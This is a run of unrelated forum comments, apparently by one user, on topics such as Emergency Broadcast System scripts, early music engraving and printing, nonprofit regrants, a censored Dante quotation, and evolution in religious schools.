Actually, the government can compel you to lie. This is a government written script (quoting from memory, so maybe not 100%):
"This is a test of the Emergency Broadcast System. The broadcasters in this area, in voluntarily cooperation with the Federal Communications Commission..."
As long as the EBS was active, broadcasters were required to read this script, but their cooperation was not voluntary. The tests were required, you had to log when you did them and keep the log for a couple of years. The government required every broadcaster in the country to lie.
Except that the president's approval rating is the highest it's been in years, and much higher than other presidents at this point in their tenure: http://theweek.com/articles/61...
I'm not a big fan, either, but the fact is that you're wrong.
It's not cruelty to the children. They get used to the idea that the animals they play with will eventually wind up in the freezer. A friend who grew up on a farm, when she was about 4 years old asked her mother, perfectly matter-of-factly, "Mommy, is Holly a meat dog?"
That's funny, because "plopping" was the first thing I thought of when you wrote about the mini-elephant. Better have some pet dung beetles to clean up after them.
Oh, blah, the anon comment ending in the slur about Kircher was mine; I was accidentally not logged in. I'm going to take the liberty of repeating it here, with apologies for my clumsiness:

No, actually you're wrong. Keyboard (and solo violin) music couldn't be printed with movable type unless you separated out the parts and printed, more or less, one "voice" (or melody line) per staff (which was sometimes done, but it's hard to read, and for many kinds of music, totally impractical). Keyboard (and solo vln) music typically has chords, a changing number of parts in each staff, and other complications which moveable type couldn't handle.
There was a great deal of typeset music, mostly vocal, but it was almost all one-voice-per-staff.
(Exception: alternative notations, now usually grouped under the name "tablatures", of which there were several varieties, some of which, as in Spain, were developed specifically to allow cheap printing.)
I have to compliment you on your screen name, remembering, however, the words of the musicologist Thurston Dart (who was the adviser to my dissertation adviser), that he was a "surprisingly credible Jesuit."
Musicology PhD here - your example is misleading. Published scores of that kind were very, very expensive, and music for the private enjoyment of students and professionals (to paraphrase, loosely, from Bach's own explanation for his target audience) tended to be circulated in manuscript.
(Technological note: keyboard and solo violin music couldn't be printed from movable type. It was engraved, a very tedious process which involved writing the score backwards onto a metal plate which was then etched. Engraving got much quicker, and cheaper, later in the 18th century, when the engraving punch was invented, so the engraver could just bang out the noteheads and such rather than having to draw each one freehand.)
Anyway, the lack of publication for Bach's Sonatas and Partitas (not Paritas) isn't a good example.
Your larger point is correct, but that's because survivor bias hasn't had time to kick in
Huh? Maybe you didn't realize that "I Fall To Pieces" is not appropriate for video games, especially considering that Patsy Cline did, literally, fall to pieces, I think in 1963.
Yay! I have been scanned - but my little webserver doesn't run any cgi scripts, so they got 404'd. They were looking specifically for defaultwebpage.cgi:
"You?" I'm not Scandinavian at all (short and dark, in fact). Did spend a winter in Stockholm, and definitely wouldn't recommend it for the weather.

I'm the treasurer for a small 501(c)3 (ITT4AS501(c)3), not a lawyer, but here's what our legal counsel has told us in the past: we can give money to whomever we want provided that the "regrant" is to further the goals of the corporation, as set forth in the corporate charter that was approved by the state. Depending on how the charter was drawn up, that can be either pretty broad or really, really, really broad. There are a few limits - if you start embezzling large amounts, or if most of the proceeds of the organization wind up in the pockets of one person, then the IRS will come sniffing around. But regrants in general are absolutely permissible.
From (my contribution on) the talk page of the article on Romance Languages:
Can anything be done about the automated censorship of the Dante quotation in footnote 12, which now ends: "nam domus nova et dominus meus lo**censored**ur"? The censored part is a "c" followed by a "u" followed by an "n" followed by a "t"; the original can be found, for example, here: http://www.greatdante.net/texts/vulgari/vulgari.html (chapter XI, paragraph 7).
Apparantly, their Automated Puritan can pull lady parts out of the middle of a Latin word.
There was a large species of peccary discovered a few years ago in Brazil, probably (there's not quite enough data on it). Formal descriptions was published in 2007. It weighs some 50 kg, so the size of a man, if the man is very small. Teh Wiki has teh details. http://en.wikipedia.org/wiki/Giant_Peccary.
As for interbreeding with them, well, if you have a frank talk with a farmer, you will learn about different local customs.
A friend of mine growing up, from a different church (hes baptist), told me in college he learns the biology textbook to pass the tests, but refuses believe any of it. I imagine that will be the line the private religious school will take too.
You're right about their desire to set up their own schools, with the government picking up as much of the expense as they get get, but the curriculum in those schools simply don't include evolution, except perhaps for a cartoon form designed for easy refutation. That's the way they work today, according to people who've attended them.
Anyway, there's nothing wrong with refusing to believe what's in the books. A doctoral student of Stephen J Gould was a plant by the Moonies - they paid for his Harvard education so they could have a PhD biologist arguing against evolution. (It didn't work; his research has been in a non-evolutionary field, and he's been noticeably silent on the subject of evolution.) But when Gould was asked about this student, who had publically said that he doesn't believe in evolution, Gould responded that, in order to earn a doctorate, the student had to show mastery of the material. Science doesn't compel belief.

I've had a OnePlusOne since day one, and it works fine with T-Mobile, for what that's worth.

It's worth it for trips out-of-town where you don't know where the gas stations even are. Or, at least it's worth it for me.

Uh, New Orleans was settled by the French. What's the mystery?

The Swedes are such a cold people. Even the Danes consider them distant and formal (not to mention a bit condescending).

I remember a few years ago that some comments in a electronics blog were censored; they referred to Panasonic's parent company Matsushita.
